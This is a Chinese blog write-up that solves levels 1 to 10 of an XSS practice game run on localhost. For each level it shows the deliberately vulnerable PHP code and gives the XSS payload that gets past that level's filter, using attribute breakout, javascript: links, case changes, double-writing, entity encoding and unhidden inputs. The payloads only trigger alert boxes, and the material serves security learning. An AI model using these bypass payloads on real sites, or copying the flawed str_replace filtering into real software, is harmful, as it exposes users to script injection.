XSS小游戏学习笔记(level 1-10)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/dyw_666666/article/details/82803118

XSS小游戏

level 1

右键查看页面源代码

<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

即提示你要让网页弹框,修改url后面的参数

http://localhost/xss/level1.php?name=test

构造payload

 

 看过源代码,也可以发现代码对用户输入输出完全没有过滤

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

level 2

输入了正常的js,发现可以出现相关代码,说明预定义的字符代码已经被转译成了HTML实体了。

http://localhost/xss/level2.php?keyword=<script>alert('xss')</script>

查看页面源代码发现可以从下面的输入框里里面入手,构造闭合语句

 构造payload闭合

"/><script>window.alert()</script>

 

查看了源码,发现预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,不过下面的并没有转换,所以我们能闭合构造

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">   //这里没有实体化
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

level 3

当我们尝试第二关的方法时发现第三关的两个地方都加了htmlspecialchars函数处理。

此时,双引号和尖括号都被转义了。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以。

payload:

'onclick='window.alert()

 

 


level 4

这一关和第二关的没有太大区别


payload:

"onclick="window.alert()

 

这一关,查看源代码,发现多了几个str,仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外面的引号变成了双引号。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level 5 (过滤鼠标事件onclick,script标签)

尝试用上一关payload,发现这一关在on中加上了下划线

 那么应该怎么做 查看代码发现它把 script 和 onclick 中加入了下划线。那么鼠标事件,就不能用了。可以考虑下用链接(href),即在链接中调用js。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

payload:

"><a href="javascript:onclick=alert()">xss</a>


level 6(过滤onclick、script、href、src、data标签)

尝试用上一关的payload,发现href也被过滤了。

查看源代码,发现过滤了onclick、script、href、src、data标签:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

然而,少了一个函数strtolower(),把所有字符转换为小写。所以,我们可以用大写。

payload:

"><A HREF="javascript:alert()">xss</a>


level 7 (将特殊字符替换为空,双写绕过)

用上一关的payload第七关的已经加上了strtolower,已经不能用大写绕过了。

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

而且将这几个能用的都转换成空后,应该要怎么办?但这时我们要注意他只是将其转换成空,不像前面的第六题加了下划线,因此我们可以尝试双写绕过

payload:

"><scrscriptipt>alert()</scrscriptipt>


level 8(编码绕过)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

这一关除了过滤了onclick、script、href、src、data标签,而且把双引号转换成了“&quot”,并且在添加友情链接input内还有htmlspecialchars转换

注意,这里在友情链接只用了str7,只是将关键字转换了,那么如果用其他的编码的形式能否绕过呢?

payload :

HTML实体编码(HEX)
javascri&#x70;t:alert()

HTML实体编码(DEC)
javascri&#112;t:alert()

 这里要注意不能把java四个转换编码,因为后台过滤的是script,所以把script其中一个编码一下就好。

 


level 9

这题跟上题目差不多,就在友情链接上多了一点判断。

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

若检测不到http则报错。
只要让它检测到http,却不能起到作用就可以了,所以可以用注释。

payload:

javascri&#x0070;t:alert(1)/*http://www.baidu.com*/

 


level 10(修改隐藏标签)

这道题仔细看下代码就知道,它要get两个参数keyword和t_sort:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

而且 keyword参数并没有什么用,t_sort可以进行渗透那么在$str33这里进行构造语句<>被转换成空,那么script,src等也不能用了在代码中下面有三个隐藏的参数设置,在这里把t_sort的 hidden更改一下成text。

payload:

t_link=&t_history=&t_sort="onclick="alert()"type="text

 

比对:

 

猜你喜欢

转载自blog.csdn.net/dyw_666666/article/details/82803118